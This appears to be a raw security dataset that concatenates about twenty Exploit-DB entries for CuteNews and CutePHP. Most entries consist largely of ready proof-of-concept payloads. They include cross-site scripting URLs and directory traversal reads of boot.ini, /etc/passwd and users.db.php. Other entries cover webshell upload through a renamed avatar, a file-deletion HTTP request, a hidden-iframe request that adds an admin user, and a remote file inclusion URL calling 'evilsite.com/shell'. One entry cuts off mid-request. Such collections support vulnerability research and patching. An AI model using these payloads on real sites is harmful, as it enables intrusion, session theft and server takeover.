deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27819
Description: CuteNews 1.4.1 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-05
Author: NST

Exploit:
source: https://www.securityfocus.com/bid/17850/info

CuteNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.comsearch.php?dosearch=yes&story=%22%3E%3Cscript%3Ealert%28%22NST+PoC+by+K4P0%22%29%3B%3C%2Fscript%3E&title=&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&title=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22  );%3C/script%3E&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day  =&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&story=K4P0&user=%22%3E%3Cscript%3Ealert(%22NST%20PoC%20by%20K4P0%22);%3C/script%3E&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

http://www.example.comsearch.php?dosearch=yes&title="><script>window.location=&#039;http://www.neosecurityteam.net/&#039;;</script>&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=
Exploit-DB #26465
Description: CuteNews 1.4.1 - 'show_archives.php' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-02
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15295/info

CuteNews is affected by a directory traversal vulnerability.

An unauthorized attacker can retrieve or upload arbitrary files by supplying directory traversal strings '../' through an affected URI parameter.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.

An attacker may also upload arbitrary scripts, which may be subsequently executed leading to a remote compromise in the context of the server.

CuteNews 1.4.1 is reported to be vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/cute141/show_archives.php?template=../../../../../../../../boot.ini%00
http://www.example.com/cute141/show_archives.php?template=../../../../../../../../[script]
Exploit-DB #27252
Description: CuteNews 1.4.1 - 'show_news.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-20
Author: imei

Exploit:
source: https://www.securityfocus.com/bid/16740/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

The following proof of concept was provided:

/cutenews/show_news.php?subaction=addcomment&id={aNewsId}&name={anExistantUserName}&show=%22%3E%3Cscript%3Ealert(â?imeiâ?)%3C/script%3E
Exploit-DB #26466
Description: CuteNews 1.4.1 - 'template' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2005-11-02
Author: retrogod@aliceposta.it

Exploit:
source: https://www.securityfocus.com/bid/15295/info
 
CuteNews is affected by a directory traversal vulnerability.
 
An unauthorized attacker can retrieve or upload arbitrary files by supplying directory traversal strings '../' through an affected URI parameter.
 
Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.
 
An attacker may also upload arbitrary scripts, which may be subsequently executed leading to a remote compromise in the context of the server.
 
CuteNews 1.4.1 is reported to be vulnerable to this issue. Other versions may be affected as well.

http://www.example.com/cute141/show_news.php?template=../../../../../../../../boot.ini%00
http://www.example.com/cute141/show_news.php?template=../../../../../../../../[script]
Exploit-DB #27740
Description: CuteNews 1.4.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-26
Author: outlaw.dll

Exploit:
source: https://www.securityfocus.com/bid/17700/info

CuteNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to the application's failure to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/localhost/cutenews/index.php?mod=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3C!--
http://www.example.com/cutenews/index.php?mod=editnews&action=list&source=<script>alert(document.cookie)</script><!--
Exploit-DB #29159
Description: CuteNews 1.4.5 - 'rss_title' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-21
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/21233/info
 
CuteNews is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
 
An attacker could exploit these issues to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
 
CuteNews 1.4.5 is vulnerable.

http://www.example.com/rss.php?rss_news_include_url=aAa&rss_title=<script>alert(document.cookie)</script>
Exploit-DB #29158
Description: CuteNews 1.4.5 - 'show_news.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-21
Author: Alireza Hassani

Exploit:
source: https://www.securityfocus.com/bid/21233/info

CuteNews is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.

An attacker could exploit these issues to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.

CuteNews 1.4.5 is vulnerable.

http://www.example.com/show_news.php?KAPDA="><script>alert()</script>
Exploit-DB #33341
Description: CuteNews 1.4.6 - 'from_date_day' Full Path Disclosure
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info
 
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
 
Note that exploits for some of the issues may require administrator privilege.
 
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
 
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/search.php?dosearch=yes&from_date_day=a&from_date_month=5&from_date_year=2003&to_date_day=4&to_date_month=5&to_date_year=2010
Exploit-DB #33344
Description: CuteNews 1.4.6 - 'index.php' Cross-Site Request Forgery (New User Creation)
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info
    
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
    
Note that exploits for some of the issues may require administrator privilege.
    
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
    
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?mod=addnews&action=addnews
Exploit-DB #33340
Description: CuteNews 1.4.6 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info

CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.

Note that exploits for some of the issues may require administrator privilege.

Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process

A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?lastusername=&#039;%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&cat_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&postponed_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&unapproved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&news_per_page=%3Cscript%3Ealert(/xss/);%3C/script%3E
Exploit-DB #33343
Description: CuteNews 1.4.6 - 'result' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info
   
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
   
Note that exploits for some of the issues may require administrator privilege.
   
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
   
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/register.php?result=%3Cscript%3Ealert(/XSS/);%3C/script%3E
Exploit-DB #33342
Description: CuteNews 1.4.6 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info
  
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
  
Note that exploits for some of the issues may require administrator privilege.
  
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
  
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
Exploit-DB #33345
Description: CuteNews 1.4.6 editnews Module - doeditnews Action Admin Moderation Bypass
Type: webapps
Platform: php
Date: 2009-11-10
Author: Andrew Horton

Exploit:
source: https://www.securityfocus.com/bid/36971/info
     
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
     
Note that exploits for some of the issues may require administrator privilege.
     
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
     
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?mod=editnews&action=list&source=../users.db.php%00
http://www.example.com/test/cutenews/index.php?mod=editnews&action=editnews&id=[PII_REDACTED]&source=../users.db.php%00
Exploit-DB #37474
Description: CuteNews 2.0.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-07-03
Author: T0x!c

Exploit:
          CuteNews 2.0.3 Remote File Upload Vulnerability
        =================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm T0x!c member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1



# Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability
# Date: [02/07/2015]
# Exploit Author: [T0x!c]
# Facebook: https://www.facebook.com/Dz.pr0s
# Vendor Homepage: [http://cutephp.com/]
# Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip]
# Version: [2.0.3] 
# Tested on: [Windows 7]
# greetz to :Tr00n , Kha&mix , Cc0de  , Ghosty , Ked ans , Caddy-dz .....
==========================================================
 # Exploit  :
 
Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal
  
 1 - Sign up for New User
 2 - Log In 
 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal
 4 - Select Upload Avatar Example: Evil.jpg
 5 - use tamper data  & Rename File Evil.jpg to Evil.php
  
----------------------------[PII_REDACTED]899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\

6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php

 Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php
Exploit-DB #48447
Description: CuteNews 2.1.2 - Arbitrary File Deletion
Type: webapps
Platform: php
Date: 2020-05-11
Author: Besim

Exploit:
# Exploit Title: CuteNews 2.1.2 - Arbitrary File Deletion
# Date: 2020-05-08
# Author: Besim ALTINOK
# Vendor Homepage: https://cutephp.com
# Software Link: https://cutephp.com/click.php?cutenews_latest
# Version: v2.1.2 (Maybe it affect other versions)
# Tested on: Xampp
# Credit: İsmail BOZKURT
# Remotely: Yes

Description:
------------------------------------------------------------------------
In the "Media Manager" area, users can do arbitrarily file deletion.
Because the developer did not use the unlink() function as secure. So, can
be triggered this vulnerability by a low user account


Arbitrary File Deletion PoC
--------------------------------------------------------------------------------

POST /cute/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 **********************************
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/cute/index.php
Cookie: CUTENEWS_SESSION=3f6a6ea7089e3a6a04b396d382308022
Upgrade-Insecure-Requests: 1

mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=27966e9129793e80a70089ee1c3ebfd5-tester&__signature_dsi=0ad6659c2aa31871b0b44617cf0b1200&rm%5B%5D=../avatar.png&do_action=delete
Exploit-DB #32570
Description: CuteNews aj-fork - 'path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-11-06
Author: DeltahackingTEAM

Exploit:
source: https://www.securityfocus.com/bid/32141/info

CuteNews aj-fork is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

CuteNews aj-fork 167 final is vulnerable; other versions may also be affected. 

http://www.example.com/register.php?config_skin=../../../../etc/passwd%00
Exploit-DB #2891
Description: CuteNews aj-fork 167f - 'cutepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-04
Author: DeltahackingTEAM

Exploit:
===========================================================================================================
DeltasecurityTEAM
www.Deltasecurity.ir
===========================================================================================================
* Portal Name : cutenews aj-fork

* Class = Remote File Inclusion ;
 
* Download =http://mesh.dl.sourceforge.net/sourceforge/ajfork/cn_aj_167.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Tanha )

----------------------------------------------------------------------------------------------------------
- Vulnerable Code
--------------------

    include($cutepath.'/inc/plugins.php');

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:
    http://[target]/[Path]/inc/shows.inc.php?cutepath=http://evilsite.com/shell?

----------------------------------------------------------------------------------------------------------
Sp Tnx For All Admin And All Member EXCEPT DR.TROJAN
Sp Tnx For Dr.Pantagon For Learning Find Bug

# milw0rm.com [2006-12-04]
Exploit-DB #22842
Description: CutePHP CuteNews 1.3 - HTML Injection
Type: webapps
Platform: php
Date: 2003-06-29
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/8060/info

CutePHP is prone to HTML injection attacks. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, user-supplied input to news posts are not sufficiently sanitized of malicious HTML code.

<iframe src="index.php?regusername=owned&reg[CREDENTIAL_REDACTED]=owned&regemail=nonenone.com&reglevel= 1&action=adduser&mod=editusers" height=0 width=0 frameborder=0 scrolling=0></iframe>
Exploit-DB #25177
Description: CutePHP CuteNews 1.3.6 - 'x-forwarded-for' Script Injection
Type: webapps
Platform: php
Date: 2005-03-01
Author: FraMe

Exploit:
source: https://www.securityfocus.com/bid/12691/info

A remote script injection vulnerability affects CutePHP CuteNews. This issue is due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical functionality.

An attacker may leverage this issue to inject arbitrary server-side scripts locally and client-side scripts remotely, potentially facilitating code execution with the privileges of the affected Web server and cross-site scripting attacks. 

POST http://localhost/cutenews/show_news.php?subaction=showcomments&id=[PII_REDACTED]&archive=&start_from=&ucat= HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Accept-Encoding: gzip,deflate
Accept-Language: en-us,en;q=0.5
Host: localhost
Referer: http://localhost/cutenews/show_news.php?subaction=showcomments&id=[PII_REDACTED]&archive=&start_from=&ucat=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041111 Firefox/1.0
Content-Length: 124
Content-Ty
Exploit-DB #27356
Description: CutePHP CuteNews 1.4.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-04
Author: Roozbeh Afrasiabi

Exploit:
source: https://www.securityfocus.com/bid/16961/info

CuteNews is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

CuteNews version 1.4.1 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/index.php?subaction=showcomments&id=[number]&archive=&start_from=&ucat=&">[code]